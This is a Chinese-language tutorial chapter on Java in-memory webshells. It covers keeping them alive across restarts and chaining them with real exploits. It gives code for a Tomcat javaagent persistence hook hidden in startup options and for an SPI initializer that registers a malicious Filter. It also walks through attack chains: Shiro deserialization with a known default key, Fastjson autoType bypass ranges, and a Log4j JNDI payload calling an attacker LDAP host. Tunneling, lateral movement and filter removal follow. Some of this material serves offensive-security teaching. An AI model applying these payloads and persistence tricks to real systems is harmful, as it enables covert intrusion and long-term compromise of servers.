内存马 - 09 持久化与实战串联

内存马默认重启消失。本章讲如何持久化,以及从漏洞发现到内存马注入的完整实战流程

内存马持久化技术

持久化方案对比

方案 原理 隐蔽性 可靠性 复杂度
Agent premain JVM 启动参数
JVMTI Native Agent 本地动态库
修改 JAR/WAR 写入恶意类到包中
定时任务重注入 系统 cron/at
ClassLoader 劫持 修改类加载逻辑

方案1:Agent premain 持久化

1
2
# 在 Tomcat 的 catalina.sh / setenv.sh 中加入
CATALINA_OPTS="$CATALINA_OPTS -javaagent:/path/to/.hidden_agent.jar"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class PersistAgent {
public static void premain(String args, Instrumentation inst) {
// 等待 Web 应用加载完成后再注入
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if ("org/apache/catalina/core/ApplicationFilterChain"
.equals(className)) {
return modifiedBytes; // 修改字节码
}
return null;
}
}, true);
}
}

方案2:修改 JAR/WAR 包

将恶意 Filter 类写入 WEB-INF/classes/ 并修改 web.xml

会留下文件痕迹,但重启后仍然生效

方案3:利用 SPI 机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Java SPI 可以自动加载实现类
// 创建文件:META-INF/services/javax.servlet.ServletContainerInitializer
// 内容:com.evil.EvilInitializer

@HandlesTypes({})
public class EvilInitializer implements ServletContainerInitializer {
@Override
public void onStartup(Set<Class<?>> c, ServletContext ctx) {
// 应用启动时自动执行,注入内存马
FilterRegistration.Dynamic filter = ctx.addFilter(
"securityFilter", new EvilFilter());
filter.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), false, "/*");
}
}

// 打包为 JAR 放入 WEB-INF/lib/

实战全流程

场景:Shiro 反序列化 → Filter 内存马

Phase 1: 信息收集

  1. 发现目标使用 Shiro → Set-Cookie: rememberMe=deleteMe
  2. 识别 Shiro 版本和框架 → 指纹识别、报错信息
  3. 确认反序列化漏洞 → 尝试默认密钥

Phase 2: 漏洞验证

  1. 爆破 Shiro Key → 常见: kPH+bIxk5D2deZiIxcaaaA==
  2. 确认可用 Gadget Chain → CommonsBeanutils1 (Shiro 自带)
  3. 执行 DNSLog/HTTP 回连验证 → 确认漏洞可利用

Phase 3: 注入内存马

  1. 选择内存马类型 → Filter 型(首选)
  2. 解决技术问题
    Cookie 大小限制 → 分段/压缩

ClassLoader 问题 → 指定 WebappCL

无 request → 从线程获取 Context

  1. 构造 Payload → CB1 + TemplatesImpl + FilterInjector
  2. 发送 Payload → Cookie: rememberMe=<加密payload>
  3. 验证注入成功 → curl -H "X-Token: xxx" target/

Phase 4: 后利用

  1. 建立稳定通信 → 切换到冰蝎/哥斯拉加密通信
  2. 信息收集 → whoami, ifconfig, 内网拓扑
  3. 建立隧道 → 注入 suo5/reGeorg 隧道型内存马
  4. 横向移动 → 通过隧道访问内网其他服务
  5. 权限维持 → 考虑持久化方案

场景:Fastjson RCE → Controller 内存马

  1. 探测 Fastjson → POST JSON 数据,触发报错看版本
  2. 确认版本
    < 1.2.25: 直接利用

1.2.25-1.2.47: 需要绕过 autoType

1.2.48-1.2.68: 需要特殊 Gadget

> 1.2.68: safeMode 需要绕过

  1. JNDI 注入方式 → 搭建恶意 LDAP 服务,恶意类 = FilterInjector
  2. TemplatesImpl 方式(不出网) → 构造 _bytecodes,payload 自包含

场景:Log4j2 (CVE-2021-44228) → 内存马

  1. 注入点 → ${jndi:ldap://attacker/evil}(任何被 Log4j 记录的输入)
  2. 利用链 → JNDI → LDAP → 返回恶意类 → 注入内存马
  3. 不出网场景 → 利用 Tomcat 本地 BeanFactory 或 LDAP 返回序列化数据

实战中的坑与解决方案

坑1:Payload 太大

Cookie 默认限制 4KB/8KB,内存马类编译后可能超过

解决:代码精简 / 字节码压缩 / 分段传输 / 两步法(先注入 Downloader)

坑2:ClassLoader 隔离

反序列化使用的 ClassLoader 无法访问 Servlet API

解决:使用 Thread.currentThread().getContextClassLoader() / 显式指定 WebappClassLoader

坑3:目标无法出网

JNDI 注入需要目标访问外部 LDAP/RMI

解决:使用 TemplatesImpl 方式 / 利用目标本地 JNDI Reference

坑4:多次注入导致冲突

重复注入导致多个同名 Filter,或 URL 映射冲突

解决:注入前检查是否已存在 / 使用唯一名称 / 支持卸载更新

坑5:Spring Boot 内嵌 Tomcat 差异

Spring Boot 的内嵌 Tomcat 与独立部署的 Tomcat 内部结构略有不同

解决:获取 StandardContext 的路径不同 / 注意 Spring Boot 的 Filter 注册机制

内存马的卸载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void uninstall(StandardContext context, String filterName) {
// 1. 移除 FilterDef
FilterDef filterDef = context.findFilterDef(filterName);
if (filterDef != null) {
context.removeFilterDef(filterDef);
}

// 2. 移除 FilterMap
FilterMap[] filterMaps = context.findFilterMaps();
for (FilterMap map : filterMaps) {
if (filterName.equals(map.getFilterName())) {
context.removeFilterMap(map);
}
}

// 3. 移除 FilterConfig
try {
Field filterConfigsField = context.getClass()
.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, ?> filterConfigs =
(Map<String, ?>) filterConfigsField.get(context);
filterConfigs.remove(filterName);
} catch (Exception e) {
e.printStackTrace();
}
}

练习

  1. 模拟完整的 Shiro 反序列化 → 内存马注入流程
  2. 实现一个带自卸载功能的内存马(通过特定命令触发卸载)
  3. 编写持久化 Agent,实现重启后自动注入
  4. 思考:如果你是防御方,哪个环节最容易发现攻击者?

上一章 目录 下一章
08-中间件差异与高版本JDK 内存马 附录A-工具方法与调试